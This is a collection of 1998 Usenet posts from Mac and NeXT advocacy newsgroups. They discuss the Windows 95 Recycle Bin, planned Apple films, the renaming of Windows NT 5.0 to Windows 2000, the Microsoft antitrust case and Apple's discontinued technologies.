References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1>
Subject: Re: A computer is not like a car.
Date: Tue, 27 Oct 1998 21:50:49 -0500
Message-ID: <V2fZSHiA#GA.191@rejz.ij.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Try the Edit menu and the "UNDO" command.
And The recycling bin with IE4's Active Desktop DOES indeed keep its
hierarchy perfectly on my computer.
But the UNDO command has never failed in accidental draggings.
Rob Barris wrote in message ...
>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
><bgodot@eskimo.com> wrote:
>
>> The recycle bin does keep track of files original locations.
>
> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>bin, it gets flattened. No easy way to drag it back out the way it was (if
>I dragged the wrong thing or if I change my mind). Did I miss something?
>
>Rob
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: FYI: Movies on Apple
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <01be0200$ea206640$06387880@chewy> <909540212.705303@watserv4.uwaterloo.ca>
Message-ID: <s4wZ1.10205$yb5.7416977@news.rdc1.sdca.home.com>
Date: Wed, 28 Oct 1998 03:20:56 GMT
NNTP-Posting-Date: Tue, 27 Oct 1998 19:20:56 PDT
Organization: @Home Network
In <909540212.705303@watserv4.uwaterloo.ca> David Evans wrote:
> In article <01be0200$ea206640$06387880@chewy>,
> Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> >From the Internet Movie Database briefing for 27 Oct 98:
> >
> >THE APPLE OF HANKS' EYE
> >
> >It now appears that two films are in the works about the development of
> >the Apple computer by Steve Jobs and Steve Wozniak.
>
> Jeez...I wonder how much revisionist history we'll see in these.
>
Garret Rice went off to make a movie... maybe not so revisionist.
-r
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 28 Oct 1998 03:24:59 GMT
Organization: I don't think so
Message-ID: <slrn73d3uk.3tn.jason@jhste1.dyn.ml.org>
References: <7156co$ors@newsb.netnews.att.com> <cirby-2710981724400001@pm61-01.magicnet.net>
Chad Irby posted the following to comp.sys.mac.advocacy:
>> There never will be a Windows NT 5.0 beta 3 !!!
>> This is because Microsoft has renamed the OS.
>> Windows NT Workstation 5.0 becomes Windows 2000 Professional.
>> Windows NT Server 5.0 becomes Windows 2000 Server.
>> Windows NT 5.0 Enterprise Edition becomes Windows 2000 Advanced Server.
>> There will also be a Windows 2000 Datacenter Server.
>...and the cool part is that in about fourteen months, for a noticeable
>number of x86-based CPUs, thoe products will be renamed:
>> Windows NT Workstation 5.0 becomes Windows 1900 Professional.
>> Windows NT Server 5.0 becomes Windows 1900 Server.
>> Windows NT 5.0 Enterprise Edition becomes Windows 1900 Advanced Server.
>> Windows 1900 Datacenter Server.
Yet another candidate for Best Post of the Year. ROTFL.
--
"...and a more offensive spectacle I cannot recall."
-- Newman (on Y2K)
From: "Robert Fovell" <rfovell@yahoo.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 27 Oct 1998 20:14:04 -0800
Organization: ICGNetcom
Message-ID: <716948$1e5@dfw-ixnews4.ix.netcom.com>
References: <7156co$ors@newsb.netnews.att.com> <cirby-2710981724400001@pm61-01.magicnet.net> <slrn73d3uk.3tn.jason@jhste1.dyn.ml.org>
Jason S. wrote in message ...
>Chad Irby posted the following to comp.sys.mac.advocacy:
>
>>> There never will be a Windows NT 5.0 beta 3 !!!
>
>>> This is because Microsoft has renamed the OS.
>
>>> Windows NT Workstation 5.0 becomes Windows 2000 Professional.
>>> Windows NT Server 5.0 becomes Windows 2000 Server.
>>> Windows NT 5.0 Enterprise Edition becomes Windows 2000 Advanced Server.
>>> There will also be a Windows 2000 Datacenter Server.
>
>>...and the cool part is that in about fourteen months, for a noticeable
>>number of x86-based CPUs, thoe products will be renamed:
>
>>> Windows NT Workstation 5.0 becomes Windows 1900 Professional.
>>> Windows NT Server 5.0 becomes Windows 1900 Server.
>>> Windows NT 5.0 Enterprise Edition becomes Windows 1900 Advanced Server.
>>> Windows 1900 Datacenter Server.
>
>Yet another candidate for Best Post of the Year. ROTFL.
Windows 1900... Windows 1900...
For some reason, I found myself thinking about the plot of a recent Star
Trek movie... in which the Borg goes back in time in order to change
history... Hmm... Damn glad Star Trek's just science fiction ;-)
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell [science page]
http://home.earthlink.net/~rfovell [PC parody page]
"That's not what a Mac does. I want Mac on the PC,
I want Mac on the PC." -- Bill Gates
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: FYI: Movies on Apple
Date: 27 Oct 1998 23:26:28 GMT
Organization: Net Squared, Inc.
Message-ID: <01be0200$ea206640$06387880@chewy>
From the Internet Movie Database briefing for 27 Oct 98:
THE APPLE OF HANKS' EYE
It now appears that two films are in the works about the development of
the Apple computer by Steve Jobs and Steve Wozniak. Today's (Tuesday)
Daily Variety reports that Tom Hanks may produce a six-hour miniseries
called "Apple," about the dawn of personal computers, for HBO.
Meanwhile TNT is already producing its own two-hour movie, The Pirates
of Silicon Valley (1999) (TV), based on a similar subject, due to be
aired on cable early next year.
http://us.imdb.com/StudioBrief/
Cheers,
Todd
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: FYI: Movies on Apple
Date: 28 Oct 1998 02:00:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <715trq$240@news1.panix.com>
References: <01be0200$ea206640$06387880@chewy>
On 27 Oct 1998 23:26:28 GMT,
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>From the Internet Movie Database briefing for 27 Oct 98:
>
>THE APPLE OF HANKS' EYE
>
>It now appears that two films are in the works about the development of
>the Apple computer by Steve Jobs and Steve Wozniak. Today's (Tuesday)
>Daily Variety reports that Tom Hanks may produce a six-hour miniseries
>called "Apple," about the dawn of personal computers, for HBO.
>Meanwhile TNT is already producing its own two-hour movie, The Pirates
>of Silicon Valley (1999) (TV), based on a similar subject, due to be
>aired on cable early next year.
Hmmmm.... A tale of two Steves?
It was the best of hacks, it was the worst of hacks....
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Message-ID: <rbarris-ya023280002710981812320001@206.82.216.1>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <715rg0$1p4_006@news.uscom.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Tue, 27 Oct 1998 18:12:32 -0800
NNTP-Posting-Date: Tue, 27 Oct 1998 18:11:37 PDT
In article <715rg0$1p4_006@news.uscom.com>, Mattrol@uscom.com (Drakmere) wrote:
> In article <rbarris-ya023280002710981628380001@206.82.216.1>,
rbarris@quicksilver.com (Rob Barris) babbled thusly:
> >In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
> ><bgodot@eskimo.com> wrote:
> >
> >> The recycle bin does keep track of files original locations.
> >
> > Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
> >bin, it gets flattened. No easy way to drag it back out the way it was (if
> >I dragged the wrong thing or if I change my mind). Did I miss something?
> >
> >Rob
> Hit delete, THEN it works. Also, try hitting RESTORE, instead of dragging it
> back.
Thanks for the work around.
Rob
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 28 Oct 98 00:13:34 -0700
Organization: ICGNetcom
Message-ID: <B25C1232-47FD5@204.31.112.138>
References: <714mae$n7g@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.mac.advocacy,
nntp://nntp.ix.netcom.com/comp.sys.powerpc.advocacy
On Tue, Oct 27, 1998 7:45 AM, gupta@knim.tm.tta.moc-mirror
<mailto:gupta@knim.tm.tta.moc-mirror> wrote:
>
>One more thing the IBM/SCO etc. annoucement probably means
>is that IBM will not be jumping onto the Linux bandwagon just yet.
>Would it make sense to promote Unixware/AIX and Linux as well ?
>
>On the other hand, the modern IBM has a record of trying to
>provide what the customer wants, whether it be OS/2 or NT or AIX,
>Power/PowerPC or Intel, etc. etc., and so if sufficient people
>demand Linux-based stuff, IBM will probably jump in.
>
>-arun gupta
>
There was an interesting (also somewhat humorous) lead-in to the "Forbes"
article on the free Unix movements awhile back (8-10-98 issue, p. 95),
mentioning that IBM had recently agreed to trade some code 'hacks' that
improved Apache's performance under NT for the ability to use server
technology from the Apache Group in a forthcoming IBM product, so who
knows?.....
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: The vast microsoft conspiricy (Journalism)
Message-ID: <1998Oct27.152131.8501@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <70jnel$n3q@news1.panix.com>
Date: Tue, 27 Oct 1998 15:21:31 GMT
In article <70jnel$n3q@news1.panix.com> sal@panix.com (Sal Denaro) writes:
> On Mon, 19 Oct 1998 22:14:37 -0500, -@-._ <-@-._> wrote:
> > This messege is somewhat rushed, as my time is fleeting, but its
> >content should be very informative. I provides evidence of further
> >efforts of the Microsoft Imperium to implant themselves within the deep
> >consious and sub consious of the Worlds people.
>
> Soylent green is people! Soylent green is people!
ROFL!
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
its
> > credibility.
> >
>
> To add some more insanity to this thread.....
>
> Who wants to release a technologically superior OS when they are trying
to
> convince the DOJ their competitor is a monopoly?
It's a conspiracy, I tell you!
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
Newsgroups: comp.sys.next.advocacy
From: Richard.Nuttle@wdrSPAM_SPAM_EGGS_AND_SPAM.com (Richard Nuttle)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Message-ID: <1998Oct27.152638.8642@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <70kl4q$j4t$1@nnrp1.dejanews.com>
Date: Tue, 27 Oct 1998 15:26:38 GMT
spagiola@my-dejanews.com writes
>
> The operative word there is "shipping" -- having amazing technology in your
> cellar that you may or may not decide to ship at some future point in time at
> some as yet unspecified price is NOT going to improve Apple's credibility. In
> fact, Apple's entire behavior on this matter seems calculated to REDUCE its
> credibility.
>
To add some more insanity to this thread.....
Who wants to release a technologically superior OS when they are trying to
convince the DOJ their competitor is a monopoly?
-Rich
--
My opinions do not reflect those of my employer.
From: southpawNO_SPAM@altavista.net (Kieran Reilly)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 28 Oct 1998 03:33:18 -0400
References: <70kl4q$j4t$1@nnrp1.dejanews.com> <1998Oct27.152638.8642@il.us.swissbank.com>
Organization: EarthLink Network, Inc.
User-Agent: MacSOUP/2.4b3 (unregistered)
Message-ID: <1dhlatx.14exm0weg18edN@sdn-ar-002nynyorp190.dialsprint.net>
Richard Nuttle <Richard.Nuttle@wdrSPAM_SPAM_EGGS_AND_SPAM.com> wrote:
> To add some more insanity to this thread.....
No thanks. Reality is incoherent enough <grin>
> Who wants to release a technologically superior OS when they are trying to
> convince the DOJ their competitor is a monopoly?
N one is trying to convince the DOJ any such thing. Monopolies are not
illegal. The DOJ is specifically asserting that Microsoft is a (legal)
monopoly USING its monopoly power in illegal ways.
From: asiufy@iname.com (Alexandre A. S.)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 28 Oct 1998 08:59:32 -0200
Organization: None
Message-ID: <asiufy-2810980900000001@200.229.243.89>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <715rg0$1p4_006@news.uscom.com>
Mail-Copies-To: always
In article <715rg0$1p4_006@news.uscom.com>, Mattrol@uscom.com (Drakmere) wrote:
>In article <rbarris-ya023280002710981628380001@206.82.216.1>,
rbarris@quicksilver.com (Rob Barris) babbled thusly:
>>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
>><bgodot@eskimo.com> wrote:
>>
>>> The recycle bin does keep track of files original locations.
>>
>> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>>bin, it gets flattened. No easy way to drag it back out the way it was (if
>>I dragged the wrong thing or if I change my mind). Did I miss something?
>>
>>Rob
>Hit delete, THEN it works. Also, try hitting RESTORE, instead of dragging it
>back.
Wow.. That's REALLY obvious, isn't it? :) Bah, lame Microsoft
interfaces... Why did they put the Trash..e rm... Recycle Bin in there
anyway, if I can't drag stuff in/out of there properly?
Yet another inconsistency in Microsoft's GUI.
--
cheers! mailto:asiufy@iname.com
the progrock mp3 listening booth! http://members.xoom.com/asiufy
--------------------------------------------------------------------
From: asiufy@iname.com (Alexandre A. S.)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 28 Oct 1998 09:01:16 -0200
Organization: None
Message-ID: <asiufy-2810980901440001@200.229.243.89>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <V2fZSHiA#GA.191@rejz.ij.net>
Mail-Copies-To: always
In article <V2fZSHiA#GA.191@rejz.ij.net>, "Andrew Tuitt"
<luckyami@email.com> wrote:
>Try the Edit menu and the "UNDO" command.
>
>And The recycling bin with IE4's Active Desktop DOES indeed keep its
>hierarchy perfectly on my computer.
>
>But the UNDO command has never failed in accidental draggings.
>
What if it's been a week since you dropped the stuff there, and you
changed your mind?
>Rob Barris wrote in message ...
>>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
>><bgodot@eskimo.com> wrote:
>>
>>> The recycle bin does keep track of files original locations.
>>
>> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>>bin, it gets flattened. No easy way to drag it back out the way it was (if
>>I dragged the wrong thing or if I change my mind). Did I miss something?
>>
>>Rob
--
cheers! mailto:asiufy@iname.com
the progrock mp3 listening booth! http://members.xoom.com/asiufy
--------------------------------------------------------------------
From: Mark Kaiman <kaiman@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: FYI: Movies on Apple
Date: 28 Oct 1998 12:22:51 GMT
Organization: AT&T WorldNet Services
Message-ID: <36370C9D.786DA631@worldnet.att.net>
References: <01be0200$ea206640$06387880@chewy> <909540212.705303@watserv4.uwaterloo.ca>
Mime-Version: 1.0
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Tom Hank's miniseries about the Apollo program was actually pretty faithful to
history. There is pretty good reason to believe that a Hanks treatment of Apple
would also be fairly accurate.
David Evans wrote:
> In article <01be0200$ea206640$06387880@chewy>,
> Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> >From the Internet Movie Database briefing for 27 Oct 98:
> >
> >THE APPLE OF HANKS' EYE
> >
> >It now appears that two films are in the works about the development of
> >the Apple computer by Steve Jobs and Steve Wozniak.
>
> Jeez...I wonder how much revisionist history we'll see in these.
>
> --
> David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
> Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
> University of Waterloo "Default is the value selected by the composer
> Ontario, Canada overridden by your command." - Roland TR-707 Manual
--------------655EBCED4A2FE6B8B592B911
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begin: vcard
fn: Mark Kaiman
n: Kaiman;Mark
email;internet: kaiman@worldnet.att.net
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x-mozilla-cpt: ;0
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version: 2.1
end: vcard
--------------655EBCED4A2FE6B8B592B911--
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 28 Oct 1998 09:28:08 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <7179m9$gcc@shelob.afs.com>
References: <70kl4q$j4t$1@nnrp1.dejanews.com> <1998Oct27.152638.8642@il.us.swissbank.com> <1dhlatx.14exm0weg18edN@sdn-ar-002nynyorp190.dialsprint.net>
Richard Nuttle wrote:
> Who wants to release a technologically superior OS when they are trying to
> convince the DOJ their competitor is a monopoly?
Upon which Kierna Reilly opined:
> No one is trying to convince the DOJ any such thing. Monopolies are not
> illegal. The DOJ is specifically asserting that Microsoft is a (legal)
> monopoly USING its monopoly power in illegal ways.
True, but a critical part of Microsoft's defense is that they claim not to
have such a monopoly in the first place, which negates the leveraging
argument.
Greg
Message-ID: <36372C71.DC08E511@fmr.com>
From: Andrew Robertson <Andrew.Robertson@fmr.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: FYI: Movies on Apple
References: <01be0200$ea206640$06387880@chewy> <909540212.705303@watserv4.uwaterloo.ca> <36370C9D.786DA631@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Wed, 28 Oct 1998 09:38:42 -0500
NNTP-Posting-Date: Wed, 28 Oct 1998 09:36:22 EDT
Organization: Fidelity Investments
What I liked about the Apollo program was the way Hanks showed the Apollo mission
from different individuals point of view (the engineers, the wives, etc.), not just
the astronauts. If he does the same thing here, one program might include a
disgruntled NeXT/Newton/insert-other-abandoned-platform user posting speculation
about Apple to usenet.
Mark Kaiman wrote:
> Tom Hank's miniseries about the Apollo program was actually pretty faithful to
> history. There is pretty good reason to believe that a Hanks treatment of Apple
> would also be fairly accurate.
>
> David Evans wrote:
>
> > In article <01be0200$ea206640$06387880@chewy>,
> > Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> > >From the Internet Movie Database briefing for 27 Oct 98:
> > >
> > >THE APPLE OF HANKS' EYE
> > >
> > >It now appears that two films are in the works about the development of
> > >the Apple computer by Steve Jobs and Steve Wozniak.
> >
> > Jeez...I wonder how much revisionist history we'll see in these.
> >
> > --
> > David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
> > Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
> > University of Waterloo "Default is the value selected by the composer
> > Ontario, Canada overridden by your command." - Roland TR-707 Manual
>
> ------------------------------------------------------------------------
>
> Mark Kaiman <kaiman@worldnet.att.net>
>
> Mark Kaiman
> <kaiman@worldnet.att.net>
> HTML Mail
> Netscape Conference Address
> Netscape Conference DLS Server
> message created on a Power Macintosh G3
> Additional Information:
> Last Name Kaiman
> First Name Mark
> Version 2.1
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <F1ICMK.4F7@T-FCN.Net> <B25BA564-42D5E@206.165.43.150>
Mime-Version: 1.0
Date: Wed, 28 Oct 1998 15:18:32 GMT
In <B25BA564-42D5E@206.165.43.150> "Lawson English" wrote:
> Don't be so smug.
I am hardly smug. With the curent release dates growing overdue by the
hour and my job hanging on them, let me assure you I am anything but smug.
> MacOS 8.5 is the first version of the OS that even
> offers
> QuickDraw GX as an optional install during the main installation process.
That's the point I'm making Lawson. Apple's support for it's own
products was hit and miss, and this is what typically led to their failures
on the user end (along with horrible resource requirements that were simply
unrealistic at the time). Now machines have surpassed the growth of
software once again, even Office on my PC takes up a tiny fraction of my
HD. Today you could install all of these on the average Mac and they would
run just fine, but at the time this was quite untrue - I had one of two
4meg machines in the entire building when I was at Promis, yet that was not
enough to run GX with any real ability.
> Apple's penchant for schizophrenic business practices appears to be
> accelerating.
Based on their treatment of a failed technology that dates back as far as
eight years? That's a silly metric.
> The current buzz on the HyperCard mailing list is that Jobs is considering
> cancelling any future HC development.
Fine, use SuperCard. Or better yet, FaceSpace + Scripter + AppleScript.
HC has received the same sort of development death that all these other
products did, there's no point crying over it now. It would be different
if HC still meant something, but it hasn't since about 92 and it's clear
they're unable to get another version out, whatever the reason.
> Apple is the only company that I know of that cancels technology WHILE
> customers are still using it.
*coff*. You don't know a lot of companies then. Boeing cancelled the
MD-11 even though there were many outstanding orders and their own
production lines couldn't keep up with their own orders for similar sized
planes (like the 777). This is a rather myopic view, even when you
consider Apple - my mom still uses a II, are you suggesting they should
continue building them?
Maury
From: southpawNO_SPAM@altavista.net (Kieran Reilly)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 28 Oct 1998 09:51:22 -0400
References: <70kl4q$j4t$1@nnrp1.dejanews.com> <1998Oct27.152638.8642@il.us.swissbank.com> <1dhlatx.14exm0weg18edN@sdn-ar-002nynyorp190.dialsprint.net> <7179m9$gcc@shelob.afs.com>
Organization: volks.net
User-Agent: MacSOUP/2.4b3 (unregistered)
Message-ID: <1dhlsjw.fo153q1vuafppN@sdn-ar-002nynyorp328.dialsprint.net>
Greg Anderson <greg@afs.com> wrote:
RN > Who wants to release a technologically superior OS when
RN > they are trying to convince the DOJ their competitor is
RN > a monopoly?
> > No one is trying to convince the DOJ any such thing. Monopolies are not
> > illegal. The DOJ is specifically asserting that Microsoft is a (legal)
> > monopoly USING its monopoly power in illegal ways.
> True, but a critical part of Microsoft's defense is that they claim not to
> have such a monopoly in the first place, which negates the leveraging
> argument.
The point is that no _competitor_ of Microsoft's is "trying to convince
the DOJ [Microsoft] is a monopoly." Everyone -- including the judge on
the case, I'm sure -- understands that a firm controlling 90% of the
worldwide OS market is a de facto monopoly.
--
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: w2k problem.
Date: 28 Oct 98 08:42:03
Organization: Is a sign of weakness
Distribution: world
Message-ID: <SCOTT.98Oct28084203@slave.doubleu.com>
No, that's not a misprint. I just figured that I'd better get moving
if I wanted to be among the first to post about the "w2k problem"
That being the "Windows 2000 problem" that Microsoft has just
preannounced...
[Aka, Windows NT5.0. Talk about your "zero latency" in action. Given
that it's a full year from release, I'd guess the prudent course
would be not to print up too much promotional literature until
absolutely certain that the name isn't going to change one or two
more times...]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 28 Oct 1998 11:36:30 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <717h6u$gtn@shelob.afs.com>
References: <70kl4q$j4t$1@nnrp1.dejanews.com> <1998Oct27.152638.8642@il.us.swissbank.com> <1dhlatx.14exm0weg18edN@sdn-ar-002nynyorp190.dialsprint.net> <7179m9$gcc@shelob.afs.com> <1dhlsjw.fo153q1vuafppN@sdn-ar-002nynyorp328.dialsprint.net>
Kieran Reilly wrote:
>The point is that no _competitor_ of Microsoft's is "trying to convince
>the DOJ [Microsoft] is a monopoly." Everyone -- including the judge on
>the case, I'm sure -- understands that a firm controlling 90% of the
>worldwide OS market is a de facto monopoly.
I'm not defending Microsoft's position, I'm just stating what it is. To be
specific, Microsoft controls 90% of the worldwide DESKTOP OS market, which
is quite different from 90% of the worldwide OS market. Now it's true that
70% market share is the threshold generally applied in such cases, but
Microsoft argues that things like Internet browsers and Java are
non-operating-system equivalents that can completely undermine its Windows
position (by "stepping sideways," rather than simply improving alternative
operating systems like OS/2 or MacOS). My point was that Microsoft does not
concede that it has a monopoly, and this is a critical part of their
strategy in the current court action. Because if the judge agrees they don't
have a monopoly, the issues of tying and leveraging go away.
Greg
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 28 Oct 1998 18:18:47 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <363a3d5f.57596750@news.supernews.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com>
Mime-Version: 1.0
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Quoting "Chris Alsan" <bgodot@eskimo.com> from
alt.destroy.microsoft; Mon, 26 Oct 1998 15:22:01 -0800
>Well, since he is actually correcting your bullshit with truth...
>
>The recycle bin does keep track of files original locations.
Yes, I know. But I have also seen it randomly mangle a bunch of
files, and I believe that in some past versions it didn't handle
directories (oops, sorry, "folders") adequately. Overall, I have to
say I haven't had a lot of problems with it, considering the number
of problems I've had with Win95. Now if only it didn't show up in
three different locations in the Explorer (and I *swear* that I've
seen in mangle this up, too).
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 28 Oct 1998 18:18:49 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <363c3e6f.57868009@news.supernews.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Quoting rbarris@quicksilver.com (Rob Barris) from
alt.destroy.microsoft; Tue, 27 Oct 1998 16:28:38 -0800
>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
><bgodot@eskimo.com> wrote:
>
>> The recycle bin does keep track of files original locations.
>
> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>bin, it gets flattened. No easy way to drag it back out the way it was (if
>I dragged the wrong thing or if I change my mind). Did I miss something?
Yes, you are, but only partially. The Win95 recycle bin DOES NOT
support directories. You will not see your folder in there, no
matter what you do. BUT...
If you restore any of the files from the deleted folder, the
directory will be re-created. You can also see which directory the
files came from by choosing View--Details from the menu. You can
sort the list of deleted files by original location by clicking on
the column heading. And then you can easily select and restore all
of the files from the deleted folder.
Pretty intuitive, huh?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 28 Oct 98 12:36:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25CC061-23548@206.165.43.58>
References: <F1JMIx.Kzz@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
